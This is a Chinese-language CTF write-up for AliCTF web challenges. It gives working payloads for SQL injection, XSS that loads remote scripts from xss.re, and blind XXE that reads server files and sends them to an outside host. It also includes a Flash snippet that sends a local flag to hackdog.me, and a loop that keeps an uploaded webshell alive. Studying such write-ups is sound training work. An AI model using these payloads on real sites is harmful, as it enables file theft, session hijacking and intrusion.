redrain writeup

BigData100

题目说内网ip攻击的,我当时grep了三个段的内网地址,都没结果,后来只能本办法,把正常访问的都排除grep -Ev "upload|xxxxx"这样的,经过半个小时的排除。。。终于搞定了,最后发现可以直接grep "attack"或者直接grep "exec"。。。也是醉了

strings bigjj.cvs | grep "attack"
strings bigjj.cvs | grep "exec"

結果發現exec就可以直接出來答案。算了一下就ok了

web

A100

这题有点溜,刚那到手知道是注入,但是一直没成功,后来开窍了,换了逻辑符号or ||

'|| 1=1 ||'

再或者

username:‘+0||’
password:xxx

原理都一样~

B100

100A搞定后直接得到这里的地址,会检查referer,set-cookie了,于是从cookie入手考虑,看了一下,有这几个字段

uname  isadmin  sign

题目还没开放QAQ我只能先盗个图啦

uname是xbb。。。北北出的题?isadmin是0,sign编码了

sign一眼就是base64,解码后还是一串hash,40位,sha1么,经过对有ricter提醒,看出了端倪,去掉前面,得到xbb0的md5值,非0为真,于是md5(admin1)然后处理前后[-16:-8]再base64回去,最后document.cookie=’‘赋值回去,发包的时候加上来自100A的refer就ok

A200

这题当初有bug,直接看cookie看到flag,正确做法其实也很简单,之前百度的一哥们儿写过一篇文章

前端防火墙 有提及到.

payload很简单,

window%255BdecodeURIComponent%2528%2527eval%2527%2529%255D%2528decodeURIComponent%2528%2527document.write%2528%2527%253Cscript%2520src%253Dhttp%253A//xss.re/6201%253E%253C/script%253E%2527%2529%2527%2529%2529%253B//%2525

B200

最开始以为是和以前的一个wargame撞题了,测试了很久的CRLF注入,最后发现,应该是用一个猥琐流的trick,用@来重定向(web之困里有说过)

http://[email protected]/5.php

A300

一看到俩root,第一反映是xxe,但是想要构造实体去ddos比赛服务器的时候发现没成功(我就是个搅屎棍。。。),看到了乌云上一个鲜果的案例,blind xxe

鲜果网RSS导入Blind XXE漏洞 有提及到.

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://xxx/text.txt" >]>
<root>
<foo>&xxe;</foo>
</root>

根据案例,一般的实体无法使用,于是要用参数实体,在我服务器上放如下xml

<!ENTITY % payload    SYSTEM     "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxxxx/?xxe_local=%payload;'>">
%int;
%trick;

再到题目去执行

<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://69.197.183.178/a.xml">
%remote;
]>
</root>

B300

这题不截图了,访问后就是一个swf文件 wget回swf反编译,发现crossdomain.xml 为* 很简单,自己做了一个swf来获取 var r:LoadVars = new LoadVars(); r.onData = function(src:String) { var w:LoadVars = new LoadVars(); w.x = src; w.sendAndLoad("http://www.hackdog.me/lognew.php",w,"POST"); } r.load("http://127.0.0.1/flag.php",r,"GET");

最蛋疼的是。。。安全域访问的是本地。。。醉了,于是修改一下我swf获取的地址为127.0.0.1,拿到flag

A400

上传很简单,回包里有地址,但是访问不存在,即可想到有进程在删我的shell,我还以为是其他选手先秒了,就来搅屎棍,但是还好我机智,一直死循环上传,所以我的shell是稳定的,这一招是以前ACTF的时候和湾湾对抗的时候玩的,函数禁用了很多,但是可以读文件,在根目录发现zip,下载后爆破,从第一天晚上一直到第二天。。。最后看到官方hint有github

http://github.com/nidongde

得到了zip的密码,然后看到index.php直接post如下内容拿到flag

_POST['alibaba']['security'] = 2347230984234

B400

访问后一串数字,猜测是ip做了转换,ping一下获取到ipv4的地址,nmap全端口扫,开了22和65535,nc过去发现是一个shell,权限很低,一直报py3的问题,猜测是一个sandbox,然后在web400上直接访问/那串数字,得到一个bash_history,看了很久发现是一个黑客留下来的,做了一个后门1337端口走ssh,开了kkk:123456用户,但是都没链接上,猜测65535其实是一个py写的蜜罐,py的蜜罐貌似也就是kippo,时间太紧,无思路放弃

可以看的出来应该是个py的sandbox

想要跳出执行,没成功~

A500

这题我应该是最先机智的反应过来的,但是苦于家里断网了,一知道晚上有网络了才弄好完美payload 截包可以看到filter写在js里,做了这样的处理,全局匹配<后的字母,replace成“<_”加上字母,然后做了大写转换,解决重定向爱那个的方法很简单,

function anonymous() {
location.href.indexOf("helloalibaba")==-1&&(location.href="http://www.alictf.com/");
}

至于绕过replace,>过去,但是在大小写的时候犯愁了,我最开始用的是jsfuck编码,但是你们的后端处理是不是不支持那么长的编码,然后使用了一个萌萌的编码,也是一样太长,基本思路就是要过这个大写,不出现字母,想了一下,那么我用大写也能自解的编码方式就ok,于是,最终我这样处理我的payload 先htmlencode用python匹配到&#然后做urlencode,绕过

于是,在payload里加入helloalibaba,然后把payload进行htmlencody后匹配&# 做urlencode就ok咯~

http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php?code=><img src="xx" onerror=%26%23119%3B%26%23105%3B%26%23116%3B%26%23104%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2341%3B%26%2398%3B%26%23111%3B%26%23100%3B%26%23121%3B%26%2346%3B%26%2397%3B%26%23112%3B%26%23112%3B%26%23101%3B%26%23110%3B%26%23100%3B%26%2367%3B%26%23104%3B%26%23105%3B%26%23108%3B%26%23100%3B%26%2340%3B%26%2399%3B%26%23114%3B%26%23101%3B%26%2397%3B%26%23116%3B%26%23101%3B%26%2369%3B%26%23108%3B%26%23101%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2339%3B%26%2341%3B%26%2341%3B%26%2346%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2346%3B%26%23114%3B%26%23101%3B%26%2347%3B%26%2354%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2339%3B />helloalibaba 

至此,web的writeup就写完了,吐槽一下,这次比赛最后有队伍换flag,虽然我每次打比赛都有队伍这样做,但是这种大比赛,真的很烦躁